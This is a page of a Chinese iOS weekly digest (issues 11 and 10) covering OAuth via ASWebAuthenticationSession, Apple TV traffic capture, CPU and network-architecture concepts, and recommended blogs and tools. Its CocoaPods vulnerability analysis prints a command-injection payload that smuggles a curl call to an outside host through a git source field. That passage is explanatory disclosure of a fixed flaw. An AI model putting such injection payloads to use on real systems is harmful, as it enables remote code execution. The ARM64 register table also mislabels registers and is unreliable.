iOS摸鱼周报 第十一期

iOS摸鱼周报 第十一期

iOS摸鱼周报,主要分享开发过程中遇到的经验教训、优质的博客、高质量的学习资料、实用的开发工具等。周报仓库在这里:https://github.com/zhangferry/iOSWeeklyLearning ,如果你有好的的内容推荐可以通过 issue 的方式进行提交。

也欢迎申请成为我们的常驻编辑,一起维护这份周报。另可关注公众号:iOS成长之路,后台点击进群交流,联系我们,获取更多内容。

开发Tips

如何通过 ASWebAuthenticationSession 获取身份验证

整理编辑:FBY展菲

一般获取第三方平台身份验证的途径就是接入对应平台的 SDK,但通常接入 SDK 会伴随各种问题,包体增大,增加潜在bug等。其实大部分的服务商都有实现一种叫做 OAuth 的开放授权机制,我们可以不通过SDK,直接利用该机制完成授权流程。

符合OAuth2.0 标准的 Authorization Code 授权流程如下:

图片参考:用iOS 内建的ASWebAuthenticationSession 实作OAuth 2.0 授权流程!

苹果把 OAuth 流程进行了封装,就是 ASWebAuthenticationSession 。该API 最低支持到 iOS 12.0,在这之前可以使用 SFAuthenticationSession ,该API 只存在于 iOS 11.0 和 iOS 12.0,目前已被废弃。使用方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
func oauthLogin(type: String) {
// val GitHub、Google、SignInWithApple
let redirectUrl = "配置的 URL Types"
let loginURL = Configuration.shared.awsConfiguration.authURL + "/authorize" + "?identity_provider=" + type + "&redirect_uri=" + redirectUri + "&response_type=CODE&client_id=" + Configuration.shared.awsConfiguration.appClientId
session = ASWebAuthenticationSession(url: URL(string: loginURL)!, callbackURLScheme: redirectUri) { url, error in
print("URL: \(String(describing: url))")
// The callback URL format depends on the provider.
guard error == nil, let responseURL = url?.absoluteString else {
return
}
let components = responseURL.components(separatedBy: "#")
for item in components {
guard !item.contains("code") else {
continue
}
let tokens = item.components(separatedBy: "&")
for token in tokens {
guard !token.contains("code") else {
continue
}
let idTokenInfo = token.components(separatedBy: "=")
guard idTokenInfo.count <= 1 else {
continue
}
let code = idTokenInfo[1]
print("code: \(code)")
return
}
}
}
session.presentationContextProvider = self
session.start()
}

这里面有两个参数,一个是 redirectUri,一个是 loginURL

redirectUri 就是 3.1 配置的白名单,作为页面重定向的唯一标识。

loginURL 是由 5 块组成:

  1. 服务器地址: Configuration.shared.awsConfiguration.authURL + “/authorize”
  2. 打开的登录平台: identity_provider = “GitHub”
  3. 重定向标识: identity_provider = “配置的 URL Types”
  4. 相应类型: response_type = “CODE”
  5. 客户端 ID: client_id = “服务器配置”

回调中的 url 包含我们所需要的身份验证 code 码,需要层层解析获取 code。

参考:如何通过 ASWebAuthenticationSession 获取身份验证 - 展菲

使用 Charles 为 Apple TV 抓包

因为 Apple TV 没法直接设置代理,抓包的话需要借助于 Apple Configurator 2

在 Apple Configurator 2 里创建一个描述文件,填入电脑端的 IP 地址和端口号。按 Command + S 即可保存当前的描述文件。

到这时还无法抓包 HTTPS 请求,需要导入一个 Charles 的证书。在Charles 里 Help > SSL Proxying > Save Charles Root Certificate,选择cer格式保存起来。在 Apple Configurator 2 里创建一个证书文件,描述文件里选证书即可,配置的时候添加刚才保存的cer文件。

将这个两个文件通过 Configurator 2 安装到Apple TV里,并在 TV 端的 Settings > About 里的证书选项里进行信任。之后在 Charles 里加入对 443 端口的监听,并保持 TV 和 电脑处在同一Wifi 下即可进行抓包。

参考:https://www.charlesproxy.com/documentation/using-charles/ssl-certificates/

编程概念

整理编辑:师大小海腾zhangferry

该期主题来源于对 xuan总 的那篇 程序必知的硬核知识大全 的部分总结,引用图片也来源于此,该文档已经过其本人授权放到了周报仓库里,有兴趣的读者可以去下载全文阅读。

什么是 CPU

中央处理器(Central Processing Unit,简称 CPU)作为计算机系统的运算和控制核心,是信息处理、程序运行的最终执行单元。CPU 与计算机的关系就相当于大脑和人的关系。它是一种小型的计算机芯片,嵌入在电脑的主板上。通过在单个计算机芯片上放置数十亿个微型晶体管来构建 CPU。这些晶体管使它能够执行运行存储在系统内存中的程序所需的计算,也就是说 CPU 决定了你电脑的计算能力。

CPU 的功能主要是解释计算机指令以及处理计算机软件中的数据。几乎所有的冯·诺依曼型计算机的 CPU 的工作都可以分为 5 个阶段:取指令、指令译码、执行指令、访存取数、结果写回。

在指令执行完毕后、结果数据写回之后,若无意外事件(如结果溢出等)发生,计算机就接着从程序计数器中取得下一条指令的地址,开始新一轮的循环。许多新型 CPU 可以同时取出、译码和执行多条指令,体现并行处理的特性。

从功能来看,CPU 的内部由寄存器、控制器、运算器和时钟四部分组成,各部分之间通过电信号连通。对程序员来说,我们只需要了解寄存器就可以了。

  • 寄存器负责暂存指令、数据和地址。
  • 控制器负责把内存上的指令、数据读入寄存器,并根据指令的结果控制计算机。
  • 运算器负责运算从内存中读入寄存器的数据。
  • 时钟负责发出 CPU 开始计时的时钟信号。

CPU 相关内容还有两个我们经常遇到的概念:位数、架构。

当前常见的 CPU 位数是 32 位和 64 位,这里的位数是指 CPU 一次可以处理的数据位数,就效率上来说 64 位的 CPU 会比 32 位的 CPU 提高一倍。

架构指的是 CPU 的设计架构,目前主流的架构是 x86 和 ARM 两种。

  • x86 是 Intel 芯片选用的架构,它包含 32 位和 64 位,通常 64 位的 x86 架构被表述为 x86_64。该架构芯片多用于 PC 机。
  • ARM 架构是一个精简指令集(RISC)处理器架构家族,其多用于嵌入式操作系统及手机端。iPhone 上的 A 系列 CPU 就一直是 ARM 架构。ARM 的发展史从 ARMv1 一直到当前的 ARMv8。初代 iPhone 到 iPhone 3GS 之前使用的是 ARMv6;从 3GS 到 5s 之前使用的 ARMv7 架构,5s 开始使用的 ARMv8。但其实 ARMv8 这个叫法却很少出现,而更多的是 ARM64。这是因为从 v8 版本开始分 32 位和 64 位两种(在这之前没有 64 位),苹果使用的都是 64 位,所以就用 ARM64 代替了。

什么是寄存器

寄存器是 CPU 内的组成部分,是用来暂存指令、数据和地址的电脑存储器。

不同的类型的 CPU,其内部寄存器的种类,数量以及寄存器存储的数值范围是不同的。不过,可以根据功能将寄存器划分为下面几类:

  • 累加寄存器:存储运行的数据和运算后的数据。
  • 标志寄存器:用于反应处理器的状态和运算结果的某些特征以及控制指令的执行。
  • 程序计数器:用来存储下一条指令所在单元的地址。
  • 基址寄存器:存储数据内存的起始位置。
  • 变址寄存器:存储基址寄存器的相对位置。
  • 通用寄存器:存储任意数据。
  • 指令寄存器:存储正在被运行的指令,CPU 内部使用,程序员无法对该寄存器进行读写。
  • 栈寄存器:存储栈区域的起始位置。

其中,累加寄存器、标志寄存器、程序计数器、指令寄存器和栈寄存器都只有一个,其它寄存器一般有多个。

寄存器的命名是跟着 CPU 类型走的,ARM64 类型的 CPU 有 32 个寄存器,以下列出了部分寄存器的特殊作用:

寄存器 作用
x0、x1、x2、x3、x4、x5、x6、x7 保存函数参数及返回值
x29 lr(link register)寄存器,保存函数的返回地址
x30 sp(stack pointer)寄存器,保存栈地址
x31 pc(program counter)寄存器,指向下一条将执行的指令

什么是程序计数器

程序计数器(Program Counter,简称 PC)是一种寄存器,一个 CPU 内部仅有一个 PC。为了保证程序能够连续地执行下去,CPU 必须具有某些手段来确定下一条指令的地址。而 PC 正是起到这种作用,其用来存储下一条指令所在单元的地址,所以通常又称之为“指令计数器”。

PC 的初值为程序第一条指令的地址。程序开始执行,CPU 需要先根据 PC 中存储的指令地址来获取指令,然后将指令由内存取到指令寄存器(存储正在被运行的指令)中,然后解码和执行该指令,同时 CPU 会自动修改 PC 的值为下一条要执行的指令的地址。完成第一条指令的执行后,根据程序计数器取出第二条指令的地址,如此循环,执行每一条指令。

每执行一条指令后,PC 的值会立即指向下一条要执行的指令的地址。当顺序执行时,每执行一条指令,PC 的值就是简单的 +1。而条件分支和循环执行等转移指令会使 PC 的值指向任意的地址,这样程序就可以跳转到任意指令,或者返回到上一个地址来重复执行同一条指令。

什么是内存

内存是计算机中最重要的部件之一,它是程序与 CPU 进行沟通的桥梁。计算机中所有程序的运行都是在内存中进行的,内存又被称为主存,其作用是存放 CPU 中的运算数据,以及与硬盘等外部存储设备交换的数据。只要计算机在运行中,CPU 就会把需要运算的数据调到内存中进行运算,当运算完成后 CPU 再将结果传送出来。

内存通过控制芯片与 CPU 进行相连,由可读写的元素构成,每个字节都带有一个地址编号,注意是一个字节,而不是一个位。CPU 通过地址从内存中读取数据和指令,也可以根据地址写入数据。注意一点:当计算机关机时,内存中的指令和数据也会被清除。

物理结构:内存的内部是由各种 IC 电路组成的,它的种类很庞大,但是其主要分为三种存储器。

  • 随机存储器(RAM):内存中最重要的一种,表示既可以从中读取数据,也可以写入数据。当机器关闭时,内存中的信息会丢失。
  • 只读存储器(ROM):ROM 一般只能用于数据的读取,不能写入数据,但是当机器停电时,这些数据不会丢失。
  • 高速缓存(Cache):Cache 也是我们经常见到的,它分为一级缓存(L1 Cache)、二级缓存(L2 Cache)、三级缓存(L3 Cache)这些数据,它位于内存和 CPU 之间,是一个读写速度比内存更快的存储器。当 CPU 向内存中写入数据时,这些数据也会被写入高速缓存中。当 CPU 需要读取数据时,会之间从高速缓存中直接读取,当然,如需要的数据在 Cache 中没有,CPU 会再去读取内存中的数据。

什么是 IC

集成电路(Integrated Circuit,缩写为 IC)。顾名思义,就是把一定数量的常用电子元件,如电阻、电容、晶体管等,以及这些元件之间的连线,通过半导体工艺集成在一起的具有特定功能的电路。

内存和 CPU 使用 IC 电子元件作为基本单元。IC 电子元件有不同种形状,但是其内部的组成单位称为一个个的引脚。IC 元件两侧排列的四方形块就是引脚,IC 的所有引脚只有两种电压:0V 和 5V,该特性决定了计算机的信息处理只能用 0 和 1 表示,也就是二进制来处理。一个引脚可以表示一个 0 或 1,所以二进制的表示方式就变成 0、1、10、11、100、101 等,虽然二进制数并不是专门为引脚设计的,但是和 IC 引脚的特性非常吻合。

我们都知道内存是用来存储数据的,那么这个 IC 中能存储多少数据呢?D0 - D7 表示的是数据信号,也就是说一次可以输入输出 1 byte = 8 bit 数据。A0 - A9 是地址信号,共10个,表示可以指定 2^10 = 1024 个地址。每个地址都都可存放 1 byte 数据,所以这个 IC 的容量就是 1KB。

优秀博客

整理编辑:皮拉夫大王在此

1、Pecker:自动检测项目中不用的代码 – 来自掘金:RoyCao

又看了一遍这篇文章,可以通过这篇文章学习下作者对IndexStoreDB的应用的思路。

2、【译】你可能不知道的iOS性能优化建议(来自前Apple工程师) – 来自掘金:RoyCao

RoyCao的另一篇文章,感觉挺有价值的也挺有意思的。

3、在抖音 iOS 基础组的体验(文末附内推方式) – 来自公众号:一瓜技术

一线大厂核心APP的基础技术团队究竟在做什么?技术方向有哪些?深度如何?团队成员发展和团队氛围如何?可能很多同学和我有一样的疑问,可以看看这篇文章

4、iOS 内存管理机制 – 来自掘金:奉孝

内存方面总结的很全面,内容很多,准备面试的同学可以抽时间看看。

5、LLVM Link Time Optimization – 来自公众号:老司机周报

相信很多同学都尝试开启LTO比较优化效果,但是我们真的完全开启LTO了吗?个人感觉这是一篇让人很有收获的文章,可以仔细阅读一番

6、A站 的 Swift 实践 —— 上篇 – 来自公众号:快手大前端技术

不用看作者,光看插图就知道是戴老师的文章。期待后续对混编和动态性的介绍。

学习资料

整理编辑:Mimosa

Five Stars Blog

该网站由 Federico Zanetello 一手经营,其全部内容对所有人免费开放,每周都有新的文章发布。网站内较多文章在探寻 iOSSwift 的具体工作原理,其关于 SwiftUI 的文章也比较多,文章的质量不错,值得关注一下。

iOS Core Animation: Advanced Techniques 中文译本

iOS Core Animation: Advanced Techniques 的中文译本 GitBook 版,翻译自 iOS Core Animation: Advanced Techniques,很老但是价值很高的书,感谢译者的工作。该书详细介绍了 Core Animation(Layer Kit) 的方方面面:CALayer,图层树,专属图层,隐式动画,离屏渲染,性能优化等等,虽然该书年代久远了一些,但是笔者每次看依然能悟到新知识🤖!如果想复习一下这方面知识,该译本将会是绝佳选择。

工具推荐

整理编辑:zhangferry

Moment

地址https://fireball.studio/moment

软件状态:¥30,可以试用7天

使用介绍

Moment 是一个存在于菜单栏和通知中心的倒计时应用程序,以帮助你记住最难忘的日子和生活。这个类似手机端的 Countdown。

One Switch

地址https://fireball.studio/oneswitch

软件状态:¥30,可以试用7天

使用介绍

One Switch 是一个聚合的开关控制软件,使用它可以在菜单控制栏直接配置桌面的隐藏显示、锁屏、暗黑模式、连接AirPods 等功能。

联系我们

摸鱼周报第七期

摸鱼周报第八期

摸鱼周报第九期

摸鱼周报第十期

iOS摸鱼周报 第十期

iOS摸鱼周报 第十期

iOS摸鱼周报,主要分享大家开发过程遇到的经验教训及学习内容。虽说是周报,但当前内容的贡献途径还未稳定下来,如果后续的内容不足一期,可能会拖更到下一周再发。所以希望大家可以多分享自己学到的开发小技巧和解bug经历。

周报仓库在这里:https://github.com/zhangferry/iOSWeeklyLearning ,可以查看README了解贡献方式;另可关注公众号:iOS成长之路,后台点击进群交流,联系我们。

那些Bug

iOS 蓝牙设备名称缓存问题总结

问题贡献:FBY展菲

问题背景

当设备已经在 App 中连接成功后,修改设备名称,App 扫描到的设备名称仍然是之前的名称(App 代码中获取名称的方式为 perpheral.name)。

问题分析

当以 APP 为中心连接其他的蓝牙设备时。首次连接成功过后,iOS系统内会将该外设缓存记录下来。下次重新搜索,得到的蓝牙设备名称 peripheral.name,直接打印得到的是之前缓存中的名称。

如果此期间蓝牙设备更新了名称,peripheral.name 这个参数并不会改变,所以需要换一种方式获取设备的名称,在广播数据包内有一个字段为 kCBAdvDataLocalName,可以实时获取当前设备名称。

问题解决

下面给出 OC 和 Swift 的解决方法:

OC

1
2
3
-(void)centralManager:(CBCentralManager *)central didDiscoverPeripheral:(CBPeripheral *)peripheral advertisementData:(NSDictionary<NSString *,id> *)advertisementData RSSI:(NSNumber *)RSSI{
NSString *localName = [advertisementData objectForKey:@"kCBAdvDataLocalName"];
}

Swift

1
2
3
func centralManager(_ central: CBCentralManager, didDiscover peripheral: CBPeripheral, advertisementData: [String : Any], rssi RSSI: NSNumber) {
let localName = advertisementData["kCBAdvDataLocalName"]
}

CocoaPods 漏洞分析

问题贡献:weiminghuaa

问题背景

cocoapod的解释:https://blog.cocoapods.org/CocoaPods-Trunk-RCE/



发现者的文章:https://justi.cz/security/2021/04/20/cocoapods-rce.html



hack news: https://news.ycombinator.com/item?id=26874726

问题原因

原因是cocoapod的源码中有这一段:

1
system('git', 'ls-remote', @specification.source[:git], ref.to_s)

其中的:git,是这段

1
source:{"git":"https://github.com/SDWebImage/SDWebImage.git","tag”:”5.9.5”}

中的git参数。即拼接执行git ls-remote https://github.com/SDWebImage/SDWebImage.git

可能被攻击,即如果这样设置

1
source:{"source":{"git":"--upload-pack="$(curl my-server:4775/`whoami`)" https://github.com/","tag":"1.0.0"}}

那么拼接执行

1
git ls-remote --upload-pack="$(curl my-server:4775/whoami)" https://github.com/

导致--upload-pack 的语句 $(curl my-server:4775/whoami)执行。它能够使调用者直接获取到对应仓库的操作权限,做一些修改公有库的操作。

这种问题类似于sql注入漏洞,即拼接 string 后执行,很容易在拼接 string 过程中,没做检验,导致出现漏洞,实际运行时,很容易被注入没预料到的命令或参数,执行后出现问题
。

影响范围

该问题已经存在了6年,但 CocoaPods 官方无法证明在这期间是否有人利用了这个漏洞,也不能自动去检测所有的库是否被上传了错误的版本。如果你想确认自己维护的库是否遭遇了这种问题,可以通过这个网站协助校验:https://pod-sources.cocoapods.org。

问题修复

由 Pod 官方修复,放弃了 git ls-remote 命令,改手动检验 git remote。对于在这之前的 session keys 都进行了清除工作,所以对于在这之后需要向公有库提交的作者需要重新登录以生成新的keys。

编程概念

整理编辑:师大小海腾zhangferry

本期选题来源于林永坚的 iOS开发进阶 课程里的「跨平台架构:如何设计 BFF 架构系统?」这一节内容。如有表述不准确的地方,欢迎指出,定会及时改正。

什么是 RESTful

RESTful 里的 REST 是 Representational State Transfer 的缩写,翻译过来就是:表现层状态转化。它是一种互联网软件架构,处理的问题是如何开发在互联网环境中使用的软件。

从含义入手:表现层状态转化。表现层是互联网资源呈现的形式,例如 HTML,JSON 等,转化就是资源等数据的变化,查询数据,更新数据。

RESTful 架构一般满足以下三点即可:

1、一个 URI 代表一种资源

2、客户端和服务器之间,传递这种资源的某种表现层

3、客户端通过 4 个 HTTP 动词,对服务器端资源进行操作,实现“表现层状态转化“。

参考:理解 RESTful 架构 - 阮一峰

什么是 SOAP

SOAP,全称是 Simple Object Access Protocol,即简单对象访问协议。从 W3C SOAP 1.2 版开始,SOAP 这一缩写不再代表 Simple Object Access Protocol,而是仅仅作为协议名称而已。

SOAP 是一种相对古老(比 REST 还要早)的网络通信协议,它主要是基于 XML 进行传输的。SOAP 和 REST 是早期互联网应用常用的两种方案。

对于应用程序开发来说,使程序之间进行因特网通信是很重要的。目前的应用程序通过使用远程过程调用(RPC)在诸如 DCOM 与 CORBA 等对象之间进行通信,但是 HTTP 不是为此设计的。RPC 会产生兼容性以及安全问题;防火墙和代理服务器通常会阻止此类流量。通过 HTTP 在应用程序间通信是更好的方法,因为 HTTP 得到了所有的因特网浏览器及服务器的支持。SOAP 就是被创造出来完成这个任务的。SOAP 提供了一种标准的方法,使得运行在不同的操作系统并使用不同的技术和编程语言的应用程序可以互相进行通信。

参考:SOAP 简介 - 菜鸟

什么是 BFF

BFF,全称是 Backend For Frontend,即服务于前端的后端,它是一种解决 REST 接口数据冗余的架构模型。

在 REST 模型下每个接口都对于一个服务器请求,当出现多个端,接口越来越多的情况该架构会面临很多问题。而BFF 就是用于解决这类问题出现的。

你可以把 BFF 当作一个中间层,而引入 BBF 后,前端只需要向 BFF 发送一个请求,由 BFF 与后端进行交互,然后将返回值整合后返回给前端,降低前端与后端之间的耦合,方便前端接入。除了整合数据外,你还可以在 BFF 层对数据进行裁剪过滤,或者其他业务逻辑处理,而不用在多个前端中做相同的工作。当后端发生变化时,你只需要在 BFF 层做相应的修改,而不用修改多个前端,这极大地减少了的工作量。

随着业务的发展,单个 BFF 为了适配多端的差异可能会变得越来越臃肿,可维护性降低,开发成本也会越来越高。这时候就得考虑为对 BFF 层进行拆分,给每种用户体验不同的前端分别对应一个 BFF,比如 PC BFF、移动端 BFF(或者再细拆为 iOS BFF 和 Android BFF) 等等,所以 BFF 也称为面向特定用户体验的适配层。

BFF

参考:BFF —— Backend For Frontend

什么是 GraphQL

GraphQL(展开为 Graph Query Language)是 Facebook 开发的应用层查询语言,于 2015 年开源。注意这里是查询语言,跟 SQL 的 Structured Query Language 类似,也是一种 DSL。

GraphQL 的本质是程序员想对 JSON 使用 SQL。 —— 来自阮一峰的翻译

它是一种 BFF 的实现方案。REST 数据是通过一个个 URI 定位到的,而 GraphQL 的模型更像是对象模型。GraphQL 对你的 API 中的数据提供了一套易于理解的完整描述,使得客户端能够准确地获得它需要的数据,而且没有任何冗余,也让 API 更容易地随着时间推移而演进,还能用于构建强大的开发者工具。

这里 GraphQL 起的是一个 API 网关的作用。

参考:GraphQL

什么是 RPC

RPC,全称是 Remote Procedure Call,即远程过程调用。RPC 是一种进程间通信方式,它允许客户端应用直接调用另一台远程不同计算机上的服务端应用的方法,而不需要了解远程调用的实际通信细节实现。RPC 会做好数据的序列化和传输,使得远程调用就像本地调用一样方便,让创建分布式应用和服务变得更加简单。促使 RPC 诞生的领域既是分布式。

RPC 的工作流程大致是:客户端应用以本地调用的方式发起远程调用,将参数以及附加信息序列化为能够进行网络传输的消息体,并将消息发送给服务端。服务端对收到的消息进行反序列化后执行请求,然后将结果序列化为消息并返回给客户端。最后客户端接收到消息并反序列化得到数据。

RPC

RPC 框架可以看作一种代理模式,GoF 的《设计模式》一书中把它称作远程代理。通过远程代理,将网络通信、数据编解码等细节隐藏起来。客户端在使用 RPC 服务的时候,就像使用本地函数一样,无需了解跟服务器交互的细节。除此之外,RPC 服务的开发者也只需要开发业务逻辑,就像开发本地使用的函数一样,不需要关注跟客户端的交互细节。 —— 来自王争的《设计模式之美》

常见的 RPC 框架有:gRPC、Dubbo、rpcx、Motan、thrift、brpc、Tars 等等。

什么是 gRPC

gRPC 是 Google 开发的一个高性能、通用的开源 RPC 框架。它使用 HTTP/2 作为传输协议,protocol buffers 作为底层传输格式(默认),protocol buffers 还可以作为接口描述语言。

在 gRPC 里客户端应用可以像调用本地对象一样直接调用另一台不同的机器上服务端应用的方法,使得您能够更容易地创建分布式应用和服务。与许多 RPC 系统类似,gRPC 也是基于以下理念:定义一个服务,指定其能够被远程调用的方法(包含参数和返回类型)。在服务端实现这个接口,并运行一个 gRPC 服务器来处理客户端调用。在客户端拥有一个存根能够像服务端一样的方法。

gRPC

gRPC 客户端和服务端可以在多种环境中运行和交互 – 从 Google 内部的服务器到你自己的笔记本,并且可以用任何 gRPC 支持的语言来编写。所以,你可以很容易地用 Java 创建一个 gRPC 服务端,用 Go、Python、Ruby 来创建客户端。此外,Google 最新 API 将有 gRPC 版本的接口,使你很容易地将 Google 的功能集成到你的应用里。

Facebook 的调试工具 idb(作为 WebDriverAgent 的替代者)里的 idb_companion 就是一个 gRPC 服务器。

参考:what-is-grpc

优秀博客

整理编辑:皮拉夫大王在此

1、iOS14.5隐私追踪功能现重大bug!IDFA选项变灰且无法开启(附解决方案) – 来自公众号:七麦研究院

千呼万唤始出来——iOS14.5上线了。

2、Swift 2021 生态调研报告 – 来自公众号: 一瓜技术

Swift 崛起一直是大家的共识,但是缺少量化数据。本文对 Swift 的覆盖量做了细致的分析,从数据层面可以分析 Swift 的形势。对开发者学习和转型有非常积极的意义。

3、学会黑科技,一招搞定 iOS 14.2 的 libffi crash – 来自公众号: 字节跳动技术团队

本文主要介绍了 libffi 在 iOS14.2 上崩溃的原因以及解决方案。如果有相关问题,可以参考本文解决。

4、libffi探究 – 来自掘金:酱了里个酱

如果对 libffi 不是很了解,可以通过本文来了解和认识下 libffi。

5、CALayer 的 filters – 来自掘金:rickytan

相信很多同学都遇到了哀悼模式黑白色的问题,本文介绍了一种快速便捷的方式,不过存在被拒风险,大家可以灵活把控。

6、从底层分析一下存在跨进程通信问题的 NSUserDefaults 还能用吗? – 来自公众号:酷酷的哀殿

之前字节的文章介绍了卡死的几种情况,其中包括 NSUserDefaults 造成的卡死。本文深入分析了 NSUserDefaults 造成卡死的原因以及用法。

7、用树莓派打造一个超薄魔镜的简单教程 – 来自博客:OneV’s Den

看喵神如何使用树莓派 + 单向玻璃 + 显示器打造一个魔镜。实现原理是:贴紧墙面的一侧无光,类似监控室;我们生活的空间光线较为充足,类似被监控房间;在镜子后方屏幕发出的光,相当于“改善”了镜子内侧的光线条件,这部分光透过镜子,被我们看到,从而形成“镜中屏”的效果。

学习资料

整理编辑:Mimosa

LearnOpenGL CN

欢迎来到 OpenGL 的世界。这个工程只是我(Joey de Vries)的一次小小的尝试,希望能够建立起一个完善的 OpenGL 教学平台。无论你学习 OpenGL 是为了学业,找工作,或仅仅是因为兴趣,这个网站都将能够教会你现代(Core-profile) OpenGL 从基础,中级,到高级的知识。LearnOpenGL 的目标是使用易于理解的形式,使用清晰的例子,展现现代 OpenGL 的所有知识点,并与此同时为你以后的学习提供有用的参考。

该教程是原教程的中文翻译教程

VisuAlgo

由新加坡国立大学的教授和学生发起、制作并完善的「数据结构和算法动态可视化」网站,在该网站你可以看到许多经典、非经典的,常见的、非常见的算法的可视化,清晰明了的图形化表现和实时的代码解读可以帮助读者更好地理解各种算法及数据结构。同时该网站支持自动问题生成器和验证器(在线测验系统)。

VisuAlgo

Announcing our Deprecated Books Repo!

raywenderlich 是一个学习编程的网站,他们有很大一部分课程和 iOS / Swift 有关。最近他们开源了一批将要被废弃的书籍,主要是相对「过时」,没有更新必要的书籍。笔者看过其中的 2D Games3D GamesARKit 等书籍,其中介绍了 SpriteKitSceneKit 的相关知识,书本会带着读者循序渐进,了解这些框架的原理以及如何应用。这次名单中还包含了 Unity AR & VRRealmServer Side 相关的书籍,这些书对于想要学习这些特定领域内容的读者来说是很好的选择。

可以在这里下载:deprecated-books

工具推荐

整理编辑:zhangferry

SwitchHosts

地址https://swh.app/zh/

软件状态开源,免费

使用介绍

SwitchHosts 是一个管理、切换多个 Host 方案的工具。它支持多个 Host 方案的不同组合;支持导入导出,方便协作分享;还可以通过 Alfred 插件进行快速切换。
SwitchHosts

DevUtils

地址https://devutils.app/

软件状态开源,部分功能付费

使用介绍

DevUtils 是一个开源的开发工具聚合的应用。它包含了常用的时间戳解析,JSON 格式化,Base64 编解码,正则表达式测试等功能。有了它我们就可以放弃掉站长之家,各种 JSON 格式化网站的使用了。

大家如果不想付费,直接下源码,关掉付费验证就行。如果觉得软件有帮助且有支付能力的话希望还是可以支持下作者。

DevUtils

联系我们

摸鱼周报第五期

摸鱼周报第六期

摸鱼周报第七期

摸鱼周报第八期

摸鱼周报第九期

iOS摸鱼周报 第九期

iOS摸鱼周报 第九期

iOS摸鱼周报,主要分享大家开发过程遇到的经验教训及学习内容。虽说是周报,但当前内容的贡献途径还未稳定下来,如果后续的内容不足一期,可能会拖更到下一周再发。所以希望大家可以多分享自己学到的开发小技巧和解bug经历。

周报仓库在这里:https://github.com/zhangferry/iOSWeeklyLearning ,可以查看README了解贡献方式;另可关注公众号:iOS成长之路,后台点击进群交流,联系我们。

阅读更多
Category无法覆写系统方法?

Category无法覆写系统方法?

这是一次非常有趣的解决问题经历,以至于我认为解决方式可能比问题本身更有意思,另一点就是人多力量大,多人讨论就会获得多种思路。

首次提出这个问题的是反向抽烟,他遇到了不能用 Category 覆写系统方法的现象。问题抛到我这,我验证了这个有点奇怪的现象,并决定好好探究一下,重看了 Category 那部分源码仍没有找到合理解释,于是将这个问题抛到开发群里,最后由皮拉夫大王在此给出了最为合理的解释。之后我又顺着他的思路找到了一些更有力的证据。以下是这一过程的经历。

阅读更多
iOS摸鱼周报 第八期

iOS摸鱼周报 第八期

iOS摸鱼周报,主要分享大家开发过程遇到的经验教训及学习内容。虽说是周报,但当前内容的贡献途径还未稳定下来,如果后续的内容不足一期,可能会拖更到下一周再发。所以希望大家可以多分享自己学到的开发小技巧和解bug经历。

周报仓库在这里:https://github.com/zhangferry/iOSWeeklyLearning ,可以查看README了解贡献方式;另可关注公众号:iOS成长之路,后台点击进群交流,联系我们。

阅读更多
深入理解MachO数据解析规则

深入理解MachO数据解析规则

我们知道Apple设备可执行文件的存储格式是MachO,一个二进制文件。通常在做逆向或者静态分析的时候都会用到这个文件,分析MachO的常用工具是MachOView。今天借助于MachOView,主要分析Code Signature的存储规则。

本篇文章同时也是围绕这几个问题展开的:

1、MachOView是如何确认MachO内容的。

2、二进制数据是如何存储的,如何确认位置。

3、字节码含义如何解析。

阅读更多
iOS摸鱼周报 第七期

iOS摸鱼周报 第七期

iOS摸鱼周报,主要分享大家开发过程遇到的经验教训及学习内容。虽说是周报,但当前内容的贡献途径还未稳定下来,如果后续的内容不足一期,可能会拖更到下一周再发。所以希望大家可以多分享自己学到的开发小技巧和解bug经历。

周报仓库在这里:https://github.com/zhangferry/iOSWeeklyLearning ,可以查看README了解贡献方式;另可关注公众号:iOS成长之路,后台点击进群交流,联系我们。

阅读更多
iOS摸鱼周报 第六期

iOS摸鱼周报 第六期

iOS摸鱼周报,主要分享大家开发过程遇到的经验教训及学习内容。虽说是周报,但当前内容的贡献途径还未稳定下来,如果后续的内容不足一期,可能会拖更到下一周再发。所以希望大家可以多分享自己学到的开发小技巧和解bug经历。

周报仓库在这里:https://github.com/zhangferry/iOSWeeklyLearning ,可以查看README了解贡献方式;另可关注公众号:iOS成长之路,后台点击进群交流,联系我们。

阅读更多
《学习之道》书评

《学习之道》书评

《学习之道》的作者是芭芭拉·奥克利,她是美国奥克兰大学的工程学教授。她在Coursera上开设了一门课程叫“Learning How to Learn”,即讲如何学习的,该课程非常受欢迎,有200多万人注册学习。该课程地址在这里:https://www.coursera.org/learn/ruhe-xuexi。

这门课跟这本《学习之道》内容重合度很高,毕竟都出自同一人,可以作为配套视频来看。如果不想看书又想详细学习课程精髓的话,只看视频也是完全可以的。

阅读更多
iOS摸鱼周报 第五期

iOS摸鱼周报 第五期

iOS摸鱼周报,主要分享大家开发过程遇到的经验教训及学习内容。虽说是周报,但当前内容的贡献途径还未稳定下来,如果后续的内容不足一期,可能会拖更到下一周再发。所以希望大家可以多分享自己学到的开发小技巧和解bug经历。

周报仓库在这里:https://github.com/zhangferry/iOSWeeklyLearning ,可以查看README了解贡献方式;另可关注公众号:iOS成长之路,后台点击进群交流,联系我们。

阅读更多